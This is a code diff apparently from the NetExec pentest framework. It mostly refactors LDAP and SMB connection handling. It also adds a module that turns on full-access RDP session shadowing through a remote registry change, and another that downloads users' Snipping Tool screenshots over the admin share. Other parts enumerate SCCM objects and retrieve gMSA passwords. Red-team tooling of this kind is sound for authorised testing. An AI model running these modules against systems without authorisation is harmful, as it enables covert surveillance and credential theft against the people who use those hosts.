controls = security_descriptor_control(sdflags=0x04)
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
result = connection.ldapConnection.search(
result = connection.ldap_connection.search(
searchFilter=search_filter,
attributes=["nTSecurityDescriptor"],
sizeLimit=0,
@@ -129,7 +129,7 @@ class NXCModule:
try:
yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))"
context.log.display("Searching for SCCM related objects")
result = connection.ldapConnection.search(
result = connection.ldap_connection.search(
searchFilter=yoinkers,
searchBase=self.base_dn,
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
@@ -157,7 +157,7 @@ class NXCModule:
try:
self.context.log.debug(f"Resolving group members recursively for {dn}")
# Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN
result = self.connection.ldapConnection.search(
result = self.connection.ldap_connection.search(
searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})",
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
)
@@ -176,7 +176,7 @@ class NXCModule:
def get_management_points(self):
"""Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code."""
try:
response = self.connection.ldapConnection.search(
response = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter="(objectClass=mSSMSManagementPoint)",
attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"],
@@ -199,7 +199,7 @@ class NXCModule:
def get_sites(self):
"""Searches for all SCCM sites in the Active Directory, sorted by site code."""
try:
response = self.connection.ldapConnection.search(
response = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter="(objectClass=mSSMSSite)",
attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"],
@@ -244,7 +244,7 @@ class NXCModule:
"""Tries to resolve a SID and add the dNSHostName to the sccm site list."""
try:
self.context.log.debug(f"Resolving SID: {sid}")
result = self.connection.ldapConnection.search(
result = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"],
@@ -277,7 +277,7 @@ class NXCModule:
def dn_to_sid(self, dn) -> str:
"""Tries to resolve a DN to a SID."""
result = self.connection.ldapConnection.search(
result = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter=f"(distinguishedName={dn})",
attributes=["sAMAccountName", "objectSid"],
+83
View File
@@ -0,0 +1,83 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
# Module by @Defte_
# Enables or disables shadow RDP
class NXCModule:
name = "shadowrdp"
description = "Enables or disables shadow RDP"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.action = None
def options(self, context, module_options):
if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!")
exit(1)
if module_options["ACTION"].lower() not in ["enable", "disable"]:
context.log.fail("ACTION must be either enable, disable or query")
exit(1)
self.action = module_options["ACTION"].lower()
def on_admin_login(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
keyHandle = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\"
)["phkResult"]
# Checks if the key already exists or not
try:
rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00"
)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
context.log.debug("here")
ans = rrp.hBaseRegCreateKey(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00")
# Disable remote UAC
if self.action == "disable":
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00",
rrp.REG_DWORD,
0
)
context.log.highlight("Shadow RDP disabled")
# Enable remote UAC
if self.action == "enable":
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00",
rrp.REG_DWORD,
2
)
context.log.highlight("Shadow RDP with full access enabled")
except Exception as e:
context.log.debug(f"Error {e}")
finally:
remoteOps.finish()
+134
View File
@@ -0,0 +1,134 @@
import ntpath
import os
from os.path import join, getsize, exists
from nxc.paths import NXC_PATH
class NXCModule:
name = "snipped"
description = "Downloads screenshots taken by the (new) Snipping Tool."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.excluded_files = ["desktop.ini"]
def options(self, context, module_options):
"""USERS: Download only specified user(s); format: -o USERS=user1,user2,user3"""
self.context = context
self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None
def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = "C$"
output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots")
os.makedirs(output_base_dir, exist_ok=True)
context.log.info("Getting all user folders")
try:
user_folders = connection.conn.listPath(self.share, "\\Users\\*")
except Exception as e:
context.log.fail(f"Failed to list user folders: {e}")
return
context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}")
if not user_folders:
context.log.fail("No User folders found!")
return
else:
context.log.info("Attempting to download screenshots if they exist.")
total_files_downloaded = 0
host_output_path = None
for user_folder in user_folders:
folder_name = user_folder.get_longname()
if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]:
normalized_name = folder_name.lower()
if self.users and normalized_name not in self.users:
continue
context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory")
screenshots_folders = self.find_screenshots_folders(folder_name)
if not screenshots_folders:
context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.")
continue
for screenshot_path in screenshots_folders:
try:
screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*")
except Exception as e:
context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}")
continue
if not screenshot_files:
context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}")
continue
user_output_dir = join(output_base_dir, connection.host)
os.makedirs(user_output_dir, exist_ok=True)
host_output_path = user_output_dir
for file in screenshot_files:
if not file.is_directory():
remote_file_name = file.get_longname()
if remote_file_name.lower() in self.excluded_files:
context.log.debug(f"Excluding file {remote_file_name}.")
continue
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_")
local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}"
local_file_path = join(user_output_dir, local_file_name)
try:
with open(local_file_path, "wb") as local_file:
context.log.debug(f"Downloading {remote_file_path} to {local_file_path}")
connection.conn.getFile(self.share, remote_file_path, local_file.write)
if not exists(local_file_path):
context.log.fail(f"Downloaded file '{local_file_path}' does not exist.")
continue
file_size = getsize(local_file_path)
if file_size == 0:
context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.")
os.remove(local_file_path)
else:
total_files_downloaded += 1
except Exception as e:
context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}")
if total_files_downloaded > 0 and host_output_path:
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")
def find_screenshots_folders(self, user_folder_name):
"""
Dynamically searches for all Screenshots folders in the user's home directory.
Returns a list of paths.
"""
base_path = ntpath.normpath(join(r"Users", user_folder_name))
screenshots_folders = []
try:
subfolders = self.connection.conn.listPath(self.share, base_path + "\\*")
for subfolder in subfolders:
if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]:
potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots")
try:
if self.connection.conn.listPath(self.share, potential_path + "\\*"):
screenshots_folders.append(potential_path)
except Exception:
continue
except Exception as e:
self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}")
return screenshots_folders
+4 -4
View File
@@ -42,12 +42,12 @@ class NXCModule:
multiple_hosts = False
def on_login(self, context, connection):
dn = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
dn = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
context.log.display("Getting the Sites and Subnets from domain")
try:
list_sites = connection.ldapConnection.search(
list_sites = connection.ldap_connection.search(
searchBase=f"CN=Configuration,{dn}",
searchFilter="(objectClass=site)",
attributes=["distinguishedName", "name", "description"],
@@ -68,7 +68,7 @@ class NXCModule:
site_description = site["description"]
# Getting subnets of this site
list_subnets = connection.ldapConnection.search(
list_subnets = connection.ldap_connection.search(
searchBase=f"CN=Sites,CN=Configuration,{dn}",
searchFilter=f"(siteObject={site_dn})",
attributes=["distinguishedName", "name"],
@@ -86,7 +86,7 @@ class NXCModule:
if self.showservers:
# Getting machines in these subnets
list_servers = connection.ldapConnection.search(
list_servers = connection.ldap_connection.search(
searchBase=site_dn,
searchFilter="(objectClass=server)",
attributes=["cn"],
+2 -2
View File
@@ -71,12 +71,12 @@ class NXCModule:
Users can specify additional LDAP filters that are applied to the query.
"""
self.context = context
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
self.create_log_file(connection.target, datetime.now().strftime("%Y%m%d_%H%M%S"))
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
try:
sc = ldap.SimplePagedResultsControl()
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=self.search_filter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
+2 -2
View File
@@ -17,13 +17,13 @@ class NXCModule:
self.username = module_options["USER"]
def on_login(self, context, connection):
searchBase = connection.ldapConnection._baseDN
searchBase = connection.ldap_connection._baseDN
searchFilter = f"(sAMAccountName={connection.username})" if self.username is None else f"(sAMAccountName={format(self.username)})"
context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter")
# Get attributes of provided user
r = connection.ldapConnection.search(
r = connection.ldap_connection.search(
searchBase=searchBase,
searchFilter=searchFilter,
attributes=[
+55 -142
View File
@@ -13,8 +13,6 @@ from Cryptodome.Hash import MD4
from OpenSSL.SSL import SysCallError
from bloodhound.ad.authentication import ADAuthentication
from bloodhound.ad.domain import AD
from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.samr import (
UF_ACCOUNTDISABLE,
UF_DONT_REQUIRE_PREAUTH,
@@ -22,7 +20,6 @@ from impacket.dcerpc.v5.samr import (
UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,
UF_SERVER_TRUST_ACCOUNT,
)
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
from impacket.krb5.types import Principal, KerberosException
@@ -30,8 +27,8 @@ from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldaptypes
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPFilterSyntaxError
from impacket.smb import SMB_DIALECT
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smbconnection import SessionError
from impacket.ntlm import getNTLMSSPType1
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
@@ -42,6 +39,7 @@ from nxc.protocols.ldap.bloodhound import BloodHound
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.protocols.ldap.kerberos import KerberosAttacks
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.ntlm_parser import parse_challenge
ldap_error_status = {
"1": "STATUS_NOT_SUPPORTED",
@@ -136,7 +134,7 @@ class ldap(connection):
self.server_os = None
self.os_arch = 0
self.hash = None
self.ldapConnection = None
self.ldap_connection = None
self.lmhash = ""
self.nthash = ""
self.baseDN = ""
@@ -163,15 +161,15 @@ class ldap(connection):
}
)
def get_ldap_info(self, host):
def create_conn_obj(self):
try:
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{host}"
ldap_url = f"{proto}://{self.host}"
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
try:
ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
if ldap_connection:
self.logger.debug(f"ldap_connection: {ldap_connection}")
self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
if self.ldap_connection:
self.logger.debug(f"ldap_connection: {self.ldap_connection}")
except SysCallError as e:
if proto == "ldaps":
self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}")
@@ -179,9 +177,9 @@ class ldap(connection):
self.logger.fail("Even if the port is open, LDAPS may not be configured")
else:
self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}")
exit(1)
return False
resp = ldap_connection.search(
resp = self.ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
attributes=["defaultNamingContext", "dnsHostName"],
sizeLimit=0,
@@ -208,42 +206,18 @@ class ldap(connection):
self.logger.debug("Exception:", exc_info=True)
self.logger.info(f"Skipping item, cannot process due to error {e}")
except OSError:
return [None, None, None]
return False
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
return [target, target_domain, base_dn]
def get_os_arch(self):
try:
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
transport = DCERPCTransportFactory(string_binding)
transport.setRemoteHost(self.host)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
if self.args.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
try:
dce.bind(
MSRPC_UUID_PORTMAP,
transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"),
)
except DCERPCException as e:
if str(e).find("syntaxes_not_supported") >= 0:
dce.disconnect()
return 32
else:
dce.disconnect()
return 64
except Exception as e:
self.logger.fail(f"Error retrieving os arch of {self.host}: {e!s}")
return 0
self.target = target
self.targetDomain = target_domain
self.baseDN = base_dn
return True
def get_ldap_username(self):
extended_request = ldapasn1_impacket.ExtendedRequest()
extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami
response = self.ldapConnection.sendReceive(extended_request)
response = self.ldap_connection.sendReceive(extended_request)
for message in response:
search_result = message["protocolOp"].getComponent()
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
@@ -254,48 +228,28 @@ class ldap(connection):
return ""
def enum_host_info(self):
self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args
self.hostname = self.target
self.hostname = self.target.split(".")[0].upper()
self.remoteName = self.target
self.domain = self.targetDomain
# smb no open, specify the domain
if not self.args.no_smb:
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
self.conn.login("", "")
except BrokenPipeError as e:
self.logger.fail(f"Broken Pipe Error while attempting to login: {e}")
except Exception as e:
if "STATUS_NOT_SUPPORTED" in str(e):
self.no_ntlm = True
if not self.no_ntlm:
self.hostname = self.conn.getServerName()
self.targetDomain = self.domain = self.conn.getServerDNSDomainName()
self.server_os = self.conn.getServerOS()
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
self.os_arch = self.get_os_arch()
self.logger.extra["hostname"] = self.hostname
ntlm_challenge = None
bindRequest = ldapasn1_impacket.BindRequest()
bindRequest["version"] = 3
bindRequest["name"] = ""
negotiate = getNTLMSSPType1()
bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData()
try:
response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"]
ntlm_challenge = bytes(response["bindResponse"]["matchedDN"])
except Exception as e:
self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}")
if not self.domain:
self.domain = self.hostname
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if ntlm_challenge:
ntlm_info = parse_challenge(ntlm_challenge)
self.server_os = ntlm_info["os_version"]
try: # noqa: SIM105
# DC's seem to want us to logoff first, windows workstations sometimes reset the connection
self.conn.logoff()
except Exception:
pass
# Re-connect since we logged off
self.create_conn_obj()
if not self.kdcHost and self.domain:
if not self.kdcHost and self.domain and self.domain == self.remoteName:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
@@ -304,17 +258,10 @@ class ldap(connection):
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
if self.args.no_smb:
self.logger.extra["protocol"] = "LDAP" if self.port == 389 else "LDAPS"
self.logger.extra["port"] = self.port
self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
else:
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS"
self.logger.extra["port"] = self.port
self.logger.extra["hostname"] = self.hostname
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.username = username
@@ -355,8 +302,8 @@ class ldap(connection):
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -400,8 +347,8 @@ class ldap(connection):
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
self.username = self.get_ldap_username()
@@ -457,8 +404,8 @@ class ldap(connection):
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
@@ -478,8 +425,8 @@ class ldap(connection):
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
@@ -543,8 +490,8 @@ class ldap(connection):
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
@@ -564,8 +511,8 @@ class ldap(connection):
self.logger.extra["port"] = "636"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
@@ -594,40 +541,6 @@ class ldap(connection):
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
def create_smbv1_conn(self):
self.logger.debug("Creating smbv1 connection object")
try:
self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT)
self.smbv1 = True
if self.conn:
self.logger.debug("SMBv1 Connection successful")
except OSError as e:
if str(e).find("Connection reset by peer") != -1:
self.logger.debug(f"SMBv1 might be disabled on {self.host}")
return False
except Exception as e:
self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
return False
return True
def create_smbv3_conn(self):
self.logger.debug("Creating smbv3 connection object")
try:
self.conn = SMBConnection(self.host, self.host, None, 445)
self.smbv1 = False
if self.conn:
self.logger.debug("SMBv3 Connection successful")
except OSError:
return False
except Exception as e:
self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}")
return False
return True
def create_conn_obj(self):
return bool(self.args.no_smb or self.create_smbv1_conn() or self.create_smbv3_conn())
def get_sid(self):
self.logger.highlight(f"Domain SID {self.sid_domain}")
@@ -692,12 +605,12 @@ class ldap(connection):
def search(self, searchFilter, attributes, sizeLimit=0) -> list:
try:
if self.ldapConnection:
if self.ldap_connection:
self.logger.debug(f"Search Filter={searchFilter}")
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)
return self.ldapConnection.search(
return self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=searchFilter,
attributes=attributes,
@@ -1272,7 +1185,7 @@ class ldap(connection):
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)"
try:
self.logger.debug(f"Search Filter={searchFilter}")
resp = self.ldapConnection.search(
resp = self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=searchFilter,
attributes=[
@@ -1400,7 +1313,7 @@ class ldap(connection):
def gmsa(self):
self.logger.display("Getting GMSA Passwords")
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldapConnection.search(
gmsa_accounts = self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=[
@@ -1453,7 +1366,7 @@ class ldap(connection):
else:
# getting the gmsa account
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldapConnection.search(
gmsa_accounts = self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=["sAMAccountName"],
@@ -1483,7 +1396,7 @@ class ldap(connection):
gmsa_pass = gmsa[1]
# getting the gmsa account
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldapConnection.search(
gmsa_accounts = self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=["sAMAccountName"],
-1
View File
@@ -5,7 +5,6 @@ def proto_args(parser, parents):
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone)
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port")
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
dgroup = ldap_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
+4 -4
View File
@@ -269,7 +269,7 @@ class rdp(connection):
if word in str(e):
reason = self.rdp_error_status[word]
self.logger.fail(
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else str(e)}"),
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"),
)
elif "Authentication failed!" in str(e):
@@ -284,7 +284,7 @@ class rdp(connection):
if str(e) == "cannot unpack non-iterable NoneType object":
reason = "User valid but cannot connect"
self.logger.fail(
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else ''}"),
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"),
)
return False
@@ -318,7 +318,7 @@ class rdp(connection):
if str(e) == "cannot unpack non-iterable NoneType object":
reason = "User valid but cannot connect"
self.logger.fail(
(f"{domain}\\{username}:{process_secret(password)} {f'({reason})' if reason else ''}"),
(f"{domain}\\{username}:{process_secret(password)} ({reason if reason else str(e)})"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"),
)
return False
@@ -353,7 +353,7 @@ class rdp(connection):
reason = "User valid but cannot connect"
self.logger.fail(
(f"{domain}\\{username}:{process_secret(ntlm_hash)} {f'({reason})' if reason else ''}"),
(f"{domain}\\{username}:{process_secret(ntlm_hash)} ({reason if reason else str(e)})"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"),
)
return False
+13 -5
View File
@@ -296,9 +296,10 @@ class smb(connection):
self.logger.debug(f"Error logging off system: {e}")
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}"
if not self.kdcHost and self.domain:
# using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
@@ -548,7 +549,6 @@ class smb(connection):
preferredDialect=SMB_DIALECT,
timeout=self.args.smb_timeout,
)
self.smbv1 = True
except OSError as e:
if "Connection reset by peer" in str(e):
self.logger.info(f"SMBv1 might be disabled on {self.host}")
@@ -576,7 +576,6 @@ class smb(connection):
self.port,
timeout=self.args.smb_timeout,
)
self.smbv1 = False
except (Exception, NetBIOSTimeout, OSError) as e:
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
return False
@@ -590,6 +589,8 @@ class smb(connection):
:param no_smbv1: If True, it will not try to create a SMBv1 connection
"""
no_smbv1 = self.args.no_smbv1 if self.args.no_smbv1 else no_smbv1
# Initial negotiation
if not no_smbv1 and self.smbv1 is None:
self.smbv1 = self.create_smbv1_conn()
@@ -839,6 +840,7 @@ class smb(connection):
temp_dir = ntpath.normpath("\\" + gen_random_string())
temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
permissions = []
write_check = bool(not self.args.no_write_check)
try:
self.logger.debug(f"domain: {self.domain}")
@@ -885,8 +887,14 @@ class smb(connection):
except SessionError as e:
error = get_error_string(e)
self.logger.debug(f"Error checking READ access on share {share_name}: {error}")
except (NetBIOSError, UnicodeEncodeError) as e:
write_check = False
share_info["access"].append("UNKNOWN (try '--no-smbv1')")
error = get_error_string(e)
self.logger.debug(f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1")
self.logger.info(f"Skipping WRITE permission check on share {share_name}")
if not self.args.no_write_check:
if write_check:
try:
self.conn.createDirectory(share_name, temp_dir)
write_dir = True
+1
View File
@@ -16,6 +16,7 @@ def proto_args(parser, parents):
smb_parser.add_argument("--port", type=int, default=445, help="SMB port")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share")
smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
